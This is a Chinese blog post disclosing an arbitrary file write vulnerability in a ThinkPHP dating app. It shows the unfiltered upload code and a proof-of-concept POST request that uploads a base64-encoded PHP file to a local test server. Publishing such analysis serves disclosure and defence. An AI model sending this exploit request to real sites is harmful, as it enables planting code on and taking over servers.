首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

月老情侣交友盲盒4.0.x任意文件写入漏洞

漏洞推送
原创 数字星空 2024年08月27日 11:38

月老情侣交友盲盒系统是一款使用thinkphp开发的盲盒源码,4.0新版本主要是对防封防红做了很大的优化,功能也加了很多。这套源码比以前分享的盲盒源码多了默契匹配、同城匹配、随机匹配、星座匹配模式,源码的UI样式设计的也是非常专业漂亮的,看着还是很不错的!

输入图片说明

输入图片说明
框架:ThinkPHP V5.1.41 Debug:True

漏洞分析

漏洞位于文件 /app/controller/Upload.php 控制器的upload方法通过input('data/a') 传入Base64编码后的文件,然后经过base64Image方法,代码如下.

public function upload(){ 
  $data = input('data/a');
  $path = [];
  foreach ($data as $v){
    $res = base64Image($v,"uploads/".date("Y-m-d")."/");
    if ($res['code']) {
      $path[] = $res['file'];
    }
  }
  foreach ($path as $index => $item) {
    $path[$index] = substr($item,strpos($item,'attachment'));
  }
  echo json_encode(['code'=>1,'data'=>$path]); 
}

追踪到 /common.php 公共函数文件,该文件为所有控制器都可调用其任意方法,然后通过 file_put_contents 函数将编码后的base64文件直接写入到 /uploads/img/ 文件夹中,且无任何过滤,导致漏洞产生.

function base64Image($image,$filepath='uploads/img/'){
    $imgBase64 = $image;
    if (preg_match('/^(data:\s*image\/(\w+);base64,)/',$imgBase64,$res)) {
        //获取图片类型
        $type = $res[2];
        //图片保存路径
        $new_file = $filepath;
        if (!file_exists($new_file)) {
            mkdir($new_file,0755,true);
        }
        //图片名字
        $new_file = $new_file.time().substr(microtime(),-5).rand(000,999).'.'.$type;
        if (file_put_contents($new_file,base64_decode(str_replace($res[1],'', $imgBase64)))) {
            $msg['code'] = true;
            $msg['file'] = $new_file;
            $msg['msg'] = 'ok';
        } else {
            $msg['code'] = false;
            $msg['msg'] = 'no';
        }
        return $msg;
    }
}

漏洞复现

直接post提交参数data值为base64编码后的内容即可。在线将任意文件转base64内容点这里https://www.shuzixingkong.net/tool/file-to-base64

POST /app/upload/upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Cookie: admin_token=6169XyCZ4aFgkoAJYWPrmlH5uKLQOLMi8CwWeC%2FK; PHPSESSID=8d8cmkasea6mfej4t2b1a27blf
Host: 127.0.0.1:81
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/app/upload/upload
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

data=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==

输入图片说明

本文地址: http://shuzixingkong.net/article/1478
0评论
提交 加载更多评论
其他文章 PyJWT 和 python-jose 在处理JWT令牌处理的时候的差异和具体使用
PyJWT 和 python-jose 是两个用于处理 JSON Web Tokens (JWT) 的 Python 库。它们都有助于生成、解码、验证和管理 JWT,但它们在功能范围和设计哲学上有一些重要的区别。本篇介绍它们之间的一些差异,以及在项目中使用FastAPI+ python-jose 来
PyJWT 和 python-jose 在处理JWT令牌处理的时候的差异和具体使用 PyJWT 和 python-jose 在处理JWT令牌处理的时候的差异和具体使用
[kernel] 带着问题看源码 —— 脚本是如何被 execve 调用的
Linux 脚本文件 shebang (!#) 行最大为何只有 128 字节?为何最多只能指定一个参数?如何将这些参数排列在参数列表前面?本文通过阅读 Linux 内核源码,一一为你揭秘
[kernel] 带着问题看源码 —— 脚本是如何被 execve 调用的 [kernel] 带着问题看源码 —— 脚本是如何被 execve 调用的 [kernel] 带着问题看源码 —— 脚本是如何被 execve 调用的
每天那么多工作,我为什么能做到 "不忘事" ?
我相信很多朋友都遇到过丢失工作、或者忘记事情的情况,尤其是事情一多,就更容易遗漏;而如果在工作中你漏掉了某项任务,需要上级或同事重复提醒你,是很影响别人对你的印象的。 那么如何解决这个问题呢?我有一些自己的经验。
每天那么多工作,我为什么能做到 "不忘事" ? 每天那么多工作,我为什么能做到 "不忘事" ? 每天那么多工作,我为什么能做到 "不忘事" ?
折腾 Quickwit,Rust 编写的分布式搜索引擎-官方配置详解
Node configuration(节点配置) 节点配置允许您为集群中的各个节点自定义和优化设置。它被分为几个部分: 常规配置设置:共享的顶级属性 Storage(存储)设置:在storage部分定义 https://quickwit.io/docs/configuration/node-conf
折腾 Quickwit,Rust 编写的分布式搜索引擎-官方配置详解
.NET 开源实时监控系统 - WatchDog
前言 在平时的开发中随着我们系统应用不断地迭代变的复杂,对应用的实时监控变得越来越重要。实时监控不仅可以帮助我们快速定位问题,还能在出现问题时及时采取措施,减少业务中断的时间。 本文将介绍一个名为WatchDog的.NET开源实时应用监控系统,它可以帮助我们轻松实现对.NET应用的实时监控。 项目介
.NET 开源实时监控系统 - WatchDog .NET 开源实时监控系统 - WatchDog .NET 开源实时监控系统 - WatchDog
SRE 必备知识 - Kafka 探秘之零拷贝技术
如果你了解过 Kafka,那么它用到的一个性能优化技术可能会引起你的注意 -- 操作系统的零拷贝(zero-copy)优化。 零拷贝操作可以避免对数据的非必要拷贝,当然,并非是说完全没有拷贝。 在 Kafka 的场景下,操作系统可以从 page cache 拷贝数据到 socket buffer,直
SRE 必备知识 - Kafka 探秘之零拷贝技术 SRE 必备知识 - Kafka 探秘之零拷贝技术 SRE 必备知识 - Kafka 探秘之零拷贝技术
一种PyInstaller中优雅的控制包大小的方法
PyInstaller会在打包时自动为我们收集一些依赖项,特别是我们在打包PyQt/PySide相关的应用时,PyInstaller会自动包含我们程序通常不需要的文件,如'tanslations'文件夹,'plugins/imageformats'等,通常这些文件会使
Daph:新一代流批一体数据集成与数据处理工具
Daph源码位于gitee,地址是https://gitee.com/dasea96/daph 概述 Daph的中文名称是大副,大副是职位仅低于船长的船舶驾驶员,甲板部(驾驶部)负责人,船长的主要助手。 Daph的英文名称,取自【有向无环图Directed Acyclic Graph】的第一个字母与
Daph:新一代流批一体数据集成与数据处理工具 Daph:新一代流批一体数据集成与数据处理工具 Daph:新一代流批一体数据集成与数据处理工具